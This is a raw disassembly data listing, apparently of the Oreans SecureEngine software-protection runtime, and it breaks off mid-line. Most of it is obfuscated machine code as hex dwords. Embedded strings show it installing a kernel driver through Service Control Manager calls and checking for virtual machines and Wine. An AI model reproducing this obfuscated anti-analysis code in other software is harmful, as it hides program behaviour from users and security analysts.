0A406858Dh, 68500615h, 80000001h, 0A4AC95FFh dd 46A0615h, 0A4A0858Dh, 6A500615h, 8D006A04h, 15A42C85h dd 0B5FF5006h, 615A49Ch, 1D4595FFh, 0BD830613h, 6131625h dd 0C840F00h, 0FF000000h, 15A49CB5h, 0A895FF06h, 0FF0615A4h dd 15A49CB5h, 0CD95FF06h, 61061331h, 0E185C6C3h, 52061311h dd 0E47B0768h, 0C9B5FFADh, 0FF061307h, 13323595h, 0AC858906h dd 0C60615A4h, 1311E185h, 0E5685206h, 0FF902E00h, 1307C9B5h dd 3595FF06h, 89061332h, 15A4A885h, 0E185C606h, 52061311h dd 0BF123568h, 0C9B5FFB9h, 0FF061307h, 13323595h, 45858906h dd 0C606131Dh, 1311E185h, 34685206h, 0FF987810h, 1307C9B5h dd 3595FF06h, 89061332h, 1331CD85h, 0E185C606h, 52061311h dd 5DBD468h, 0C9B5FFC0h, 0FF061307h, 13323595h, 91858906h dd 0EB061311h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h, 49535C2Eh dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 816656C0h dd 59517AE2h, 1625BD83h, 75000613h, 81BD8309h, 6132Ch dd 53501974h, 0FB8C08Bh, 89000004h, 130D7D85h, 7D9D8D06h dd 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h, 0FB85350h dd 89000004h, 130D7D85h, 6C9D8D06h, 0FF0615A6h, 8B585BD3h dd 130619B5h, 0FE806h, 0D3510000h, 627D505Ah, 0F87003D7h dd 8FFD2DF2h, 5E5DB5F0h, 147DBD8Bh, 0C08B0613h, 85C6CA8Bh dd 61311E1h, 0D7816643h, 4E84F84h, 0FC000000h, 66BC8E6Eh dd 0F50F38Bh, 28Eh, 8BD18B00h, 8B042444h, 5E800h, 0AEDB0000h dd 51F1C840h, 44895A5Ah, 0FE8B0424h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 29A8946Dh dd 428C2A12h, 0FF3AB6DDh, 13116DB5h, 7DBD0306h, 8D061317h dd 133AAD85h, 6E806h, 0BB590000h, 0C25BF3E5h, 0AE8h, 750B8D00h dd 821620A8h, 8B011776h, 131C11B5h, 0FF5A5906h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BE90451h, 6D000000h, 0DC73E612h, 0A0C7A35Ah, 8B665A01h dd 0BFBF50CFh, 89573EDDh, 0BD092404h, 6132071h, 8529006Ah dd 61321EDh, 0C21F7768h, 68D0FD1h, 0F000000h, 8Ch, 24048100h dd 2E3DE109h, 306D9D89h, 36A0613h, 68B0Fh, 8D8B0000h, 61320CDh dd 1E719D89h, 6A0613h, 118DBD33h, 10E90613h, 5E000000h dd 55E2F277h, 0E260A34Dh, 5FF62C2Bh, 6A3A4924h, 6E803h dd 47D40000h, 468172ADh, 3499BD09h, 685A0613h, 0AFBA6238h dd 38E0F51h, 66000000h, 8159C88Bh, 62382434h, 0BF0F6FBAh dd 0E39D8DFAh, 660615AAh, 0E09DE981h, 4890F50h, 66000000h dd 890781BFh, 8166241Ch, 0FFD292C1h, 2B14BED0h, 0F404028h dd 2BC85h, 19B58B00h, 58061331h, 96077B2h, 130A4195h, 0AE906h dd 40760000h, 0C2A1AA40h, 0C15CDA2Eh, 810F5061h, 0Ch, 52505250h dd 2 dup(585A310Fh), 89240489h, 132369BDh, 29006A06h, 131B519Dh dd 0E1136806h, 7E950FEh, 3B000000h, 15AA6C17h, 34812A5Ch dd 0FEE19324h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 8B66F660h, 29036AF9h dd 13133195h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 1DA3C355h, 95D7B4BEh dd 6A321588h, 0B5BD8B03h, 68061305h, 72DEB3EBh, 0AE8h dd 51887100h, 99D13EF1h, 600482CCh, 7E8h, 5E826E00h, 1E57128h dd 3ABB665Bh, 815E616Eh, 4C152404h, 8D8B4D21h, 6131D21h dd 9D8DA9B6h, 615AAECh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 48C35141h, 8B17CF4Bh, 0EE8D3h, 0E90C0000h dd 75A810F0h, 0A4A5EA37h, 3BA9904Eh, 13E9h, 3D36E000h dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 0E950935Ah dd 0Dh, 0A1C429D2h, 0E11D4C94h, 0ADFB3214h, 0B966935Eh dd 0D0FF3E23h, 132D9D89h, 33600613h, 1330FDBDh, 0EE816006h dd 399614A6h, 2EBD9589h, 61610613h, 42850F40h, 8B000001h dd 1300C58Dh, 0D1BA5806h, 502809CBh, 0DE850h, 39AA0000h dd 0B9E47D0Ah, 7A8B22Dh, 66F0F4D8h, 5F59CF8Bh, 6A240489h dd 68F0F00h, 9000000h, 13129DBDh, 61716806h, 62B584B3h dd 0F240481h, 667B4C9Fh, 0F78BD38Bh, 6A036Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5AFD06C3h dd 0A568B15Ah, 6A39DDBAh, 0AE900h, 0B2320000h, 0CCB86B47h dd 8FF90F93h, 1AE78166h, 0BE036ABFh, 2C049053h, 63801368h dd 28B0F42h, 8A000000h, 240481D7h, 7D9C7FEDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 5BC35141h, 8D9EF48Eh dd 15AAF79Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 7987210Bh, 0E8C18160h, 603AD378h dd 958BE28Ah, 61334E9h, 8A506161h, 241C89F7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h, 80C1CC46h dd 969FA94Ch, 0FB8B6645h, 0FFF0BF0Fh, 699D01D0h, 40061330h dd 0B850Fh, 81660000h, 58DC0DDEh, 1A2E9h, 6AD88B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 6370C356h, 0CA804F7Ch, 68F0FD4h, 8B000000h, 132FED95h dd 0EE94B06h, 0A8000000h, 87324864h, 0CDBCEF0h, 0C3813913h dd 6A5880h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0BEB1F8C3h, 0C6B5B1E0h, 1311E185h, 950B4306h dd 6131729h, 4E8h, 764AA700h, 50F8B5C0h, 0F98B5250h, 5250310Fh dd 310FD38Bh, 5AF88B66h, 8B585A58h, 50042444h, 5E505152h dd 5A310F5Fh, 0E9008B58h, 7, 27121401h, 89289577h, 0E8042444h dd 10h, 0E1D0856Dh, 0F835DAD1h, 0B08134C1h, 27DAFBD1h dd 0CDBF585Ah, 0FF185E3Fh, 13116DB5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8D29604Ch, 6130BADh, 6860Fh, 880F0000h, 0 dd 0AD858D61h, 0F806133Ah, 5693D0FFh, 0DC93D6B9h, 66505A41h dd 0FC93CE8Bh, 10E8h, 0F8BCF600h, 0CC76F1Eh, 4D2748DFh dd 0CFDD88EDh, 5AF98BE9h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0BF48C7C3h, 0F5C531E0h dd 0E9687013h, 5, 1F8F5A8h, 168D0F42h, 0E9000000h, 11h dd 96191DB4h, 0A10E20Fh, 9DEADF9Eh, 0ED667270h, 339D8D33h dd 60061375h, 0B7DE8166h, 1D9D092Fh, 6106130Bh, 1B8h, 39BD8900h dd 0FF061301h, 8BFA8BE3h, 0C08BFCC1h, 2A3DB58Bh, 53600613h dd 1ED18D29h, 8B590613h, 132149BDh, 0BD836106h, 6131625h dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 40FB8h dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h dd 6132Ch, 53501774h, 40FB8h, 15858900h, 8D061331h, 15A6859Dh dd 5BD3FF06h, 0A9852958h, 8B061321h, 9E8C0h, 8A9D0000h dd 35C57108h, 8B5101D9h, 13124185h, 0BD8B5E06h, 6130959h dd 59D3C681h, 8C0F0000h, 6, 283DBD8Bh, 39680613h, 0E9000016h dd 0Ah, 61B3D25Ah, 0A3752C80h, 665B2388h, 0FF7C62BAh, 7FBF6636h dd 9D895917h, 6130A51h, 0E8ECF181h, 0BD8B1E42h, 6130579h dd 2B56E981h, 0E8602960h, 9, 82F747CEh, 30731A4Dh, 5E9E1h dd 0B8F40000h, 5BBA858Fh, 0BE9h, 0BCBFB400h, 6E3DFF93h dd 0A4A0849Bh, 5DC18161h, 5627E926h, 0B382DF81h, 895F2CABh dd 0C6BF0F0Eh, 0EBFFEE81h, 9D29458Dh, 6130CFDh, 0EBFBC681h dd 9D89458Dh, 6131E9Dh, 1EB81h, 850F0000h, 19h, 1A35B589h dd 26E90613h, 85000000h, 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h dd 3D958BD3h, 0E906130Ch, 0FFFFFF5Bh, 7E5FF0FEh, 0FF01BFAFh dd 3141FE5Bh, 99E974h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 15B34CBDh dd 840F0006h, 0Ah, 2C8185C7h, 10613h, 85C60000h, 61311E1h dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h dd 0B5FF5804h, 613116Dh, 3AAD858Dh, 0D0FF0613h, 0F88BD0FFh dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E0E90000h, 0E9000002h dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h dd 2C3h, 0AE8h, 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 15B2CCB5h dd 225E806h, 0BD030000h, 615B361h, 0B361BD83h, 0F000615h dd 0B84h, 2585C700h, 1061316h, 0C3000000h, 0B2D7B58Dh dd 0FCE80615h, 3000001h, 15B361BDh, 61BD8306h, 615B3h dd 0B840Fh, 85C70000h, 6132C81h, 1, 50B58DC3h, 0E80615B3h dd 1D3h, 0B361BD03h, 0BD830615h, 615B361h, 0B840F00h, 0C7000000h dd 130EFD85h, 106h, 0B58DC300h, 615B2E1h, 1AAE8h, 61BD0300h dd 830615B3h, 15B361BDh, 840F0006h, 0Bh, 2C8185C7h, 10613h dd 8DC30000h, 15B2EBB5h, 181E806h, 0BD030000h, 615B361h dd 0B361BD83h, 0F000615h, 1584h, 8185C700h, 106132Ch, 0C7000000h dd 13162585h, 106h, 0B58DC300h, 615B2F9h, 14EE8h, 61BD0300h dd 830615B3h, 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h dd 0B58D0000h, 615B303h, 126E8h, 61BD0300h, 830615B3h dd 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h, 0B58D0000h dd 615B30Eh, 0FEE8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h dd 0Ah, 8A585C7h, 10613h, 0B58D0000h, 615B314h, 0D6E8h dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 23C585C7h dd 10613h, 0B58D0000h, 615B31Ah, 0AEE8h, 61BD0300h, 830615B3h dd 15B361BDh, 840F0006h, 0Ah, 34C985C7h, 10613h, 0B58D0000h dd 615B328h, 86E8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h dd 0Ah, 0F6585C7h, 10613h, 0B58D0000h, 615B335h, 5EE8h dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 34E585C7h dd 10613h, 0B58D0000h, 615B340h, 36E8h, 61BD0300h, 830615B3h dd 15B361BDh, 840F0006h, 0Ah, 195D85C7h, 10613h, 1E90000h dd 47000000h, 0F203F80h, 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0B361B589h, 0AE90615h, 0C7000000h dd 15B36185h, 6, 0B8C36100h, 0 dd 840FC00Bh, 0Ah, 234585C7h, 613h, 0C88B0000h, 20EE9h dd 61433300h, 746F6E6Eh, 69727720h, 6F206574h, 6E616572h dd 78762E73h, 4D0D0A64h, 20656B61h, 65727573h, 61687420h dd 68742074h, 66207369h, 20656C69h, 6E207369h, 6220746Fh dd 676E6965h, 65737520h, 79622064h, 6F6E6120h, 72656874h dd 6F727020h, 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 11E185C6h, 68470613h, 0E3E45B86h dd 116DB5FFh, 858D0613h, 6133AADh, 468D0FFh, 8D000001h dd 13178D9Dh, 0D0FF5306h, 0F7B58D50h, 8B0615B8h, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0E185C6A4h dd 43061311h, 8E6EFC68h, 6DB5FFBCh, 8D061311h, 133AAD85h dd 8DD0FF06h, 13178DB5h, 68006A06h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 11E185C6h, 68570613h, 0A69BEE56h dd 116DB5FFh, 858D0613h, 6133AADh, 0BD8DD0FFh, 6132B8Dh dd 0BA1D8D8Dh, 6A0615h, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 615B6FFh, 0A34D858Dh, 0D0FF0615h dd 75338D8Dh, 0B80613h, 0FF000000h, 0E185C6E1h, 43061311h dd 764AA768h, 6DB5FFC0h, 8D061311h, 133AAD85h, 53D0FF06h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E8000000h, 11h, 3E2865B9h, 5CAB744Ah, 1CF02560h dd 73E162EFh, 0F58F941h, 0C8Ch, 6830F00h, 8B000000h, 130061BDh dd 0EEC08106h, 0B3000062h, 60C933D2h, 8C0FDBB1h, 6, 5958D8Bh dd 8B610613h, 0BF660834h, 0C68149EBh, 2B14EC77h, 25D78166h dd 0DAEE8137h, 89242DE4h, 1323FDB5h, 9BEE8106h, 8954161Ch dd 1312BD9Dh, 8348906h, 0AE9h, 0BB897C00h, 9E6FFF35h, 1C2D6EAh dd 132A5D85h, 4E98306h, 18D5BD29h, 0F9810613h, 0FFFF9DDCh dd 1E850Fh, 0BD890000h, 6132D01h, 2DE9h, 0CD5C8600h, 290DBA75h dd 3BA72F4Dh, 9D4D570Ah, 9ED98809h, 84E9E7B3h, 97FFFFFFh dd 0C51B13C6h, 920EAF07h, 0BE05B278h, 0D1544DECh, 0B7E9E8D7h dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h dd 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 10h dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 4 dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 10h dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 1Dh dup(0) aSoftwareWine db 'Software\Wine',0 dw 0C48Bh dd 85894AB6h, 6130E81h, 0BF07BF66h, 12E9C08Bh, 99000000h dd 0F7161FC0h, 0FE2BC48Bh, 3CC1B091h, 9CCD2D42h, 25BD8345h dd 61316h, 0BD830975h, 6132C81h, 50197400h, 0B8C08B53h dd 43Dh, 0D7D8589h, 9D8D0613h, 615A97Dh, 585BD3FFh, 2C81BD83h dd 74000613h, 0B8535017h, 43Dh, 0D7D8589h, 9D8D0613h, 615A66Ch dd 585BD3FFh, 38E0Fh, 0DA800000h, 51006A23h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 97E30338h dd 4E0CC895h, 19852988h, 8B06130Bh, 198589C0h, 8106130Eh dd 0CE6A3DEAh, 0E9C08B74h, 6, 0BF9B9739h, 0BD839B5Dh, 6131625h dd 83097500h, 132C81BDh, 13740006h, 0C08B5350h, 0B8h, 1F9D8D00h dd 0FF0615A8h, 83585BD3h, 132C81BDh, 11740006h, 0B85350h dd 8D000000h, 15A6D09Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0D828BFC0h dd 97B1F82Fh, 0EE960h, 70790000h, 0CDD7DCDEh, 0C45ADF4Eh dd 0D4CE7398h, 19F18589h, 8B610613h, 7E9C0h, 0FC540000h dd 0A0A2A439h, 0E9C08B52h, 6, 966C438Ch, 8B669A44h, 25BD83F8h dd 61316h, 0BD830975h, 6132C81h, 50137400h, 0B8C08B53h dd 0 dd 0A7519D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50117400h dd 0B853h, 9D8D0000h, 615A69Eh, 585BD3FFh, 7894BA66h, 7D7E4EBAh dd 0C981666Dh, 0C08B6C0Dh, 0C08BD38Bh, 10E9h, 2135F00h dd 8D55A283h, 0F599583Bh, 0BEB437BFh, 1BD8B0Dh, 8306130Fh dd 131625BDh, 9750006h, 2C81BD83h, 74000613h, 8B535013h dd 0B8C0h, 9D8D0000h, 615A7B8h, 585BD3FFh, 2C81BD83h, 74000613h dd 0B8535011h, 0 dd 0A6B79D8Dh, 0D3FF0615h, 0BA66585Bh, 0CA813692h, 38519D3Eh dd 8BF9C08Bh, 0F18166C0h, 0BD8393D8h, 6131625h, 83097500h dd 132C81BDh, 13740006h, 0C08B5350h, 0B8h, 0EA9D8D00h dd 0FF0615A6h, 0E8585BD3h, 7, 0B8281FF2h, 8143C463h, 8CE322D9h dd 8D035F3Eh, 6132485h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 6FD9ABC3h, 4ADB3C08h dd 85BD8B6Fh, 8A061313h, 0FC08BD3h, 0F86h, 0AE900h, 652A0000h dd 4F930C5Bh, 0D54F7791h, 1625BD83h, 75000613h, 81BD8309h dd 6132Ch, 53501974h, 0D0B8C08Bh, 89000007h, 130D7D85h dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h dd 0D0B85350h, 89000007h, 130D7D85h, 6C9D8D06h, 0FF0615A6h dd 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0DF56C352h, 8AA7B992h, 0BD8B3237h dd 6130B41h, 0C8A0Fh, 7E90000h, 50000000h, 0BE409405h dd 0C08BA561h, 0C6CF8B66h, 1311E185h, 6A5306h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 5B6F62C3h, 1E8C860Eh, 58B0F9Bh, 66000000h, 0D873EF81h dd 395F9068h, 0B96699h, 6DB5FF33h, 80061311h, 858DE2E6h dd 6133AADh, 1D41BD8Bh, 0D0FF0613h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 6FC35141h, 0AA450E38h, 89E6D034h dd 131D8985h, 0B5BD8906h, 0C606130Eh, 1311E185h, 6A5706h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 196560C3h, 66862CEh, 50900452h, 68E0Fh, 8A0F0000h, 0 dd 6DB5FF5Ah, 31061311h, 132A818Dh, 0AD858D06h, 0E806133Ah dd 0Eh, 695D5572h, 0DE1E1915h, 9A3DD322h, 880FB132h, 2 dd 66596160h, 0FFE96FBAh, 0B70FF5D0h, 0AD8589D6h, 6A061331h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0D4F6C353h, 11E185C6h, 89430613h, 1300A5BDh dd 70286806h, 0EFB9BC90h, 0FF7C382Eh, 13116DB5h, 68F0F06h dd 8B000000h, 13323D95h, 0AD858D06h, 8906133Ah, 1325B1BDh dd 0BFD0FF06h, 1D1EDD91h, 12898589h, 0BF660613h, 85C628A6h dd 61311E1h, 0FD95234Ch, 68061322h, 0D9DA1CE9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 46C35343h, 2DB52950h dd 0FF061309h, 13116DB5h, 0DE906h, 202E0000h, 44463F1Ch dd 681324Ah, 8D482D9Fh, 133AAD85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 65D24C13h dd 30A59589h, 0E8600613h, 11h, 8BB8806Dh, 0F71C98C7h, 0B120B9C1h dd 3EFA4476h, 6AEE8124h, 5E55C69Bh, 28819D01h, 0FF610613h dd 3BBF66D0h, 0ED85892Fh, 6A061311h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3FBC353h dd 33920B34h, 0C6885CD3h, 1311E185h, 0E8B14606h, 0DE061468h dd 57006ABAh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 6259A6C1h, 11952BDBh, 0FF061328h, 13116DB5h dd 858DFC06h, 6133AADh, 850FD0FFh, 6, 0B4DBD29h, 85890613h dd 6131CF9h, 0E1E38160h, 0E97D320Fh, 9, 0FFDFD97Bh, 0ED5DB1E9h dd 85C661D8h, 61311E1h, 49958947h, 68061301h, 8A0FB5E2h dd 0BA8EB760h, 6499A355h, 6DB5FF61h, 6A061311h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 873AC352h, 0C0D31788h, 858DFB8Bh, 6133AADh, 6AD0FFF8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0A349C356h, 0BE9h, 37C39E00h, 0CF444D8h dd 413722DAh, 6800Fh, 9D890000h, 6131B99h, 8A19503h, 85890613h dd 6131315h, 398D3352h, 5F061332h, 11E185C6h, 6A470613h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 33FEC352h, 5F28CC7Fh, 0ED8D9FA6h, 0D0B5F368h dd 0E5958B83h, 0FF061309h, 13116DB5h, 68A0F06h, 8B000000h dd 13254995h, 